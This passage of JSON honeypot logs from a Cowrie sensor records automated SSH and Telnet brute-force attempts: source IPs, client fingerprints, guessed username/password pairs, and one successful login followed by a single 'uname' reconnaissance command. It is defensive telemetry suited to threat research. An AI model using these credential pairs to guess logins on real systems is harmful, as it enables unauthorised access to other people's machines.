ha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:16.566870Z","src_ip":"124.155.125.131","session":"d72e250216c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:16.604697Z","src_ip":"45.156.87.204","session":"6aa3c7f546e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123123","message":"login attempt [newuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:17.305614Z","src_ip":"124.155.125.131","session":"d72e250216c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49054,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4dc324ba13","protocol":"telnet","message":"New connection: 152.42.224.71:49054 (10.17.0.5:23) [session: fd4dc324ba13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:18.201572Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:18.486500Z","src_ip":"124.155.125.131","session":"d72e250216c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54248,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ee3eca5e58e","protocol":"ssh","message":"New connection: 45.156.87.204:54248 (159.203.135.109:22) [session: 8ee3eca5e58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:18.546723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:18.551399Z","src_ip":"45.156.87.204","session":"8ee3eca5e58e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:18.755877Z","src_ip":"45.156.87.204","session":"8ee3eca5e58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:19.093269Z","src_ip":"45.156.87.204","session":"8ee3eca5e58e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:20.180417Z","src_ip":"45.156.87.204","session":"8ee3eca5e58e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00217390060425,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:20.686691Z","src_ip":"152.42.224.71","session":"0bc4265c368f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":38234,"dst_ip":"159.203.135.109","dst_port":22,"session":"c418b8ff18d0","protocol":"ssh","message":"New connection: 170.106.151.211:38234 (159.203.135.109:22) [session: c418b8ff18d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:22.170414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:22.175279Z","src_ip":"170.106.151.211","session":"c418b8ff18d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:22.243554Z","src_ip":"170.106.151.211","session":"c418b8ff18d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54260,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b97ef15d0cb","protocol":"ssh","message":"New connection: 45.156.87.204:54260 (159.203.135.109:22) [session: 4b97ef15d0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:22.249723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:22.254085Z","src_ip":"45.156.87.204","session":"4b97ef15d0cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:22.335513Z","src_ip":"45.156.87.204","session":"4b97ef15d0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csuser","password":"csuser","message":"login attempt [csuser/csuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:22.547006Z","src_ip":"170.106.151.211","session":"c418b8ff18d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:22.583817Z","src_ip":"45.156.87.204","session":"4b97ef15d0cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":43576,"dst_ip":"10.17.0.5","dst_port":22,"session":"6290bc3e3745","protocol":"ssh","message":"New connection: 103.27.238.120:43576 (10.17.0.5:22) [session: 6290bc3e3745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:23.211584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:23.220994Z","src_ip":"103.27.238.120","session":"6290bc3e3745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:23.495499Z","src_ip":"103.27.238.120","session":"6290bc3e3745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:23.618445Z","src_ip":"170.106.151.211","session":"c418b8ff18d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:23.668535Z","src_ip":"45.156.87.204","session":"4b97ef15d0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amanda","message":"login attempt [root/amanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:24.318576Z","src_ip":"103.27.238.120","session":"6290bc3e3745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:25.595574Z","src_ip":"103.27.238.120","session":"6290bc3e3745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39930,"dst_ip":"159.203.135.109","dst_port":22,"session":"418c4cfc2bb6","protocol":"ssh","message":"New connection: 45.156.87.204:39930 (159.203.135.109:22) [session: 418c4cfc2bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:25.629069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:25.634065Z","src_ip":"45.156.87.204","session":"418c4cfc2bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:25.717141Z","src_ip":"45.156.87.204","session":"418c4cfc2bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:26.181900Z","src_ip":"45.156.87.204","session":"418c4cfc2bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54346,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7568123ddf","protocol":"telnet","message":"New connection: 152.42.224.71:54346 (10.17.0.5:23) [session: 6a7568123ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:26.572194Z"}
{"eventid":"cowrie.session.closed","duration":97.84659457206726,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:27.234604Z","src_ip":"152.42.224.71","session":"9de5750f8dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:27.266750Z","src_ip":"45.156.87.204","session":"418c4cfc2bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39940,"dst_ip":"159.203.135.109","dst_port":22,"session":"080331aff32c","protocol":"ssh","message":"New connection: 45.156.87.204:39940 (159.203.135.109:22) [session: 080331aff32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:29.248451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:29.266575Z","src_ip":"45.156.87.204","session":"080331aff32c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:29.338750Z","src_ip":"45.156.87.204","session":"080331aff32c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:29.655881Z","src_ip":"45.156.87.204","session":"080331aff32c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:29.873107Z","src_ip":"45.156.87.204","session":"080331aff32c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:29.876488Z","src_ip":"45.156.87.204","session":"080331aff32c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:29.962709Z","src_ip":"45.156.87.204","session":"080331aff32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:29.968048Z","src_ip":"45.156.87.204","session":"080331aff32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54170,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f3341b3d060","protocol":"ssh","message":"New connection: 45.156.87.204:54170 (159.203.135.109:22) [session: 2f3341b3d060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:32.592017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:32.596752Z","src_ip":"45.156.87.204","session":"2f3341b3d060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:32.678867Z","src_ip":"45.156.87.204","session":"2f3341b3d060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:32.927171Z","src_ip":"45.156.87.204","session":"2f3341b3d060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54348,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a1b060c78fc","protocol":"telnet","message":"New connection: 152.42.224.71:54348 (10.17.0.5:23) [session: 9a1b060c78fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:33.690648Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:34.013690Z","src_ip":"45.156.87.204","session":"2f3341b3d060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54178,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaa1eb3ac406","protocol":"ssh","message":"New connection: 45.156.87.204:54178 (159.203.135.109:22) [session: eaa1eb3ac406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:36.027569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:36.031688Z","src_ip":"45.156.87.204","session":"eaa1eb3ac406","protocol":"ssh"}
